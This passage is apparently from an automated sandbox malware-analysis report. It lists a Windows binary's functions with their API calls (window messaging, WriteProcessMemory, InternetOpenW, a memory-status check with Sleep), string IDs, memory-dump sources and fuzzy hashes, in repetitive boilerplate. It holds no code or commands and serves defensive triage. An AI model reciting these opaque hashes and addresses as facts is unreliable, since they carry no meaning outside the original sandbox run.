                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MemoryMessageProcessSend$ReadWrite__wcsicoll
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 747972654-2594219639
                                                                                                                                                  • Opcode ID: f2bf3cab21108ef08f730b9a706dd47d3d25d4e11793ef7ab31c1a13bc9eece7
                                                                                                                                                  • Instruction ID: a05d06fa1d7004842f2f4c48fd8a27d45a20d43205005dc25c8dfddf3b52a14a
                                                                                                                                                  • Opcode Fuzzy Hash: f2bf3cab21108ef08f730b9a706dd47d3d25d4e11793ef7ab31c1a13bc9eece7
                                                                                                                                                  • Instruction Fuzzy Hash: 9D216171145304ABE320EB55D881EABB7F8FFC9314F00491FF6C586141EA75A5488BB6
                                                                                                                                                  Function 004510B3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00435A35: GetLocalTime.KERNEL32(?,?,?,?,?,00449505,?,?,00000001,00000001), ref: 00435A48
                                                                                                                                                    • Part of subcall function 00435A35: _wcslen.LIBCMT ref: 00435A59
                                                                                                                                                    • Part of subcall function 00435A35: _wcsncpy.LIBCMT ref: 00435A7D
                                                                                                                                                    • Part of subcall function 00435A35: _wcslen.LIBCMT ref: 00435A9B
                                                                                                                                                    • Part of subcall function 00435A35: _wcsncpy.LIBCMT ref: 00435AB0
                                                                                                                                                    • Part of subcall function 00435A35: _wcslen.LIBCMT ref: 00435ACF
                                                                                                                                                    • Part of subcall function 00435A35: _wcsncpy.LIBCMT ref: 00435AE4
                                                                                                                                                    • Part of subcall function 00435A35: _wcslen.LIBCMT ref: 00435B02
                                                                                                                                                    • Part of subcall function 00435A35: _wcslen.LIBCMT ref: 00435B12
                                                                                                                                                    • Part of subcall function 00435A35: _wcsncpy.LIBCMT ref: 00435B2B
                                                                                                                                                    • Part of subcall function 00435A35: _wcslen.LIBCMT ref: 00435B4C
                                                                                                                                                    • Part of subcall function 00435A35: _wcsncpy.LIBCMT ref: 00435B61
                                                                                                                                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 0045116D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$_wcsncpy$LocalMessageSendTime
                                                                                                                                                  • String ID: @U=u$SysDateTimePick32
                                                                                                                                                  • API String ID: 514649263-2530228043
                                                                                                                                                  • Opcode ID: 2085afa9016dd2575c242b3abd9adbe872881b9ef63e6f48538db59f79f9b24a
                                                                                                                                                  • Instruction ID: d736522d8b35b145ec69eff3543c3eb054bc8e8afdec885e08c1fd2863d8e0db
                                                                                                                                                  • Opcode Fuzzy Hash: 2085afa9016dd2575c242b3abd9adbe872881b9ef63e6f48538db59f79f9b24a
                                                                                                                                                  • Instruction Fuzzy Hash: 9321C171614300ABE610EA68DC81FAB73A8EBC9724F504B1EF6A0872D1C779EC498725
                                                                                                                                                  Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 0-4108050209
                                                                                                                                                  • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                  • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                                                                                  • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                                                                                  • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                                                                                  Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                                                                                  • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: Combobox
                                                                                                                                                  • API String ID: 3850602802-2096851135
                                                                                                                                                  • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                  • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                                                                                  • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                                                                                  • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                                                                                  Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                                                                                  • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: GlobalMemorySleepStatus
                                                                                                                                                  • String ID: @
                                                                                                                                                  • API String ID: 2783356886-2766056989
                                                                                                                                                  • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                  • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                                                                                  • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                                                                                  • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                                                                                  Function 004607E9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00460818
                                                                                                                                                  • SendMessageW.USER32(00000000,0000000D,00000001,00000000), ref: 00460850
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$_wcslen
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 763830540-2594219639
                                                                                                                                                  • Opcode ID: c2f2e80e05557ef693c2422432558c9f84364de82834684357532f71a7a17a43
                                                                                                                                                  • Instruction ID: 7f05380d4926309efede978ccf6af71b351ce4964ba3c7351233d2874a40be9e
                                                                                                                                                  • Opcode Fuzzy Hash: c2f2e80e05557ef693c2422432558c9f84364de82834684357532f71a7a17a43
                                                                                                                                                  • Instruction Fuzzy Hash: 3B11297674130123CA50B7BADC47F8F77889F99350F00043BF105EB281DA69E50543AE
                                                                                                                                                  Function 004516F9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00000401,?,00000000), ref: 00451780
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: @U=u$button
                                                                                                                                                  • API String ID: 3850602802-1762282863
                                                                                                                                                  • Opcode ID: d806ee6da8e26781ac2ad6fee2488fab70e9b9cc7b68f904e2a1636086ac28b5
                                                                                                                                                  • Instruction ID: 31831467317c26f5f60f414cdb5374884f8a8b98aa91217de1e53883406a7f5f
                                                                                                                                                  • Opcode Fuzzy Hash: d806ee6da8e26781ac2ad6fee2488fab70e9b9cc7b68f904e2a1636086ac28b5
                                                                                                                                                  • Instruction Fuzzy Hash: 7D11C1362553007BD620DA68DC40FABB3E8EBD9721F10592EFA90972D1C275EC46C768
                                                                                                                                                  Function 00438C9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                  • SendMessageW.USER32(?,0000102B,?,00000000), ref: 00438D18
                                                                                                                                                  • SendMessageW.USER32(00000000,0000102B,000000FF,00000000), ref: 00438D30
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$MemoryProcessWrite
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1195347164-2594219639
                                                                                                                                                  • Opcode ID: 4b725ce3a33d2dad42f0bb5b97908c305007c8ff3a5797fe263ee881c2fab309
                                                                                                                                                  • Instruction ID: fe6ea0044106cb9807e103251c90e3341cbceee548c7fef19a7353291d3bbe9d
                                                                                                                                                  • Opcode Fuzzy Hash: 4b725ce3a33d2dad42f0bb5b97908c305007c8ff3a5797fe263ee881c2fab309
                                                                                                                                                  • Instruction Fuzzy Hash: 7E11E372104350ABD3309B15DC85EAFBBB8EFDA324F000A1EF294971D1DA78A9468766
                                                                                                                                                  Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: htonsinet_addr
                                                                                                                                                  • String ID: 255.255.255.255
                                                                                                                                                  • API String ID: 3832099526-2422070025
                                                                                                                                                  • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                  • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                                                                                  • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                                                                                  • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                                                                                  Function 004411E2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,0000133E,00000000,?), ref: 0044127E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3850602802-2594219639
                                                                                                                                                  • Opcode ID: 923e7b3ccdb460d7511cae400ce237a7634aad8e6759b0adb20941cc35e882b7
                                                                                                                                                  • Instruction ID: c9a8bf338166ea16af46c337dbafa08f6ad62c28953053b980d8082259bce95b
                                                                                                                                                  • Opcode Fuzzy Hash: 923e7b3ccdb460d7511cae400ce237a7634aad8e6759b0adb20941cc35e882b7
                                                                                                                                                  • Instruction Fuzzy Hash: 6D217F34504740ABD320DF28C545BD7BBE0BF59314F048E4EE4EA97391EBB0A684CBA2
                                                                                                                                                  Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InternetOpen
                                                                                                                                                  • String ID: <local>
                                                                                                                                                  • API String ID: 2038078732-4266983199
                                                                                                                                                  • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                  • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                                                                                  • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                                                                                  • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                                                                                  Function 00447A87 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 00447AE5
                                                                                                                                                  • DefDlgProcW.USER32(?,0000002B,?,?,004A83D8,?), ref: 00447B09
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageProcSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 650375871-2594219639
                                                                                                                                                  • Opcode ID: 282f86207f84fb720c1c146b20eb36cb5bd987ddbd5c6a609029bff053d642d3
                                                                                                                                                  • Instruction ID: cf0c3d739a266ecf9dfb39524e393d8b6385858120b34e0c7784725de632f42e
                                                                                                                                                  • Opcode Fuzzy Hash: 282f86207f84fb720c1c146b20eb36cb5bd987ddbd5c6a609029bff053d642d3
                                                                                                                                                  • Instruction Fuzzy Hash: 8F01DB323002509BD320DF48D888F6BB769EBDA725F14492EFA409B280C7B5B806C775
                                                                                                                                                  Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _strncmp
                                                                                                                                                  • String ID: ,$UTF8)
                                                                                                                                                  • API String ID: 909875538-2632631837
                                                                                                                                                  • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                  • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                                                                                  • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                                                                                  • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                                                                                  Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _strncmp
                                                                                                                                                  • String ID: ,$UTF8)
                                                                                                                                                  • API String ID: 909875538-2632631837
                                                                                                                                                  • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                  • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                                                                                  • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                                                                                  • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                                                                                  Function 00449738 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32 ref: 00449766
                                                                                                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 0044978C
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InvalidateMessageRectSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 909852535-2594219639
                                                                                                                                                  • Opcode ID: ac89e9cdd19f3ca0acaa0189b4a1fbc1969bb38704f95811d986c121eccecd70
                                                                                                                                                  • Instruction ID: a672c6751c2e2981eb2e32385fc12c0efba50010d918e51d894db95fc96a5edd
                                                                                                                                                  • Opcode Fuzzy Hash: ac89e9cdd19f3ca0acaa0189b4a1fbc1969bb38704f95811d986c121eccecd70
                                                                                                                                                  • Instruction Fuzzy Hash: 8DF0FF723442008BE730CA18E884BEBB390E7D5B21F04447FEE58CA2C0D6BB554A8771
                                                                                                                                                  Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
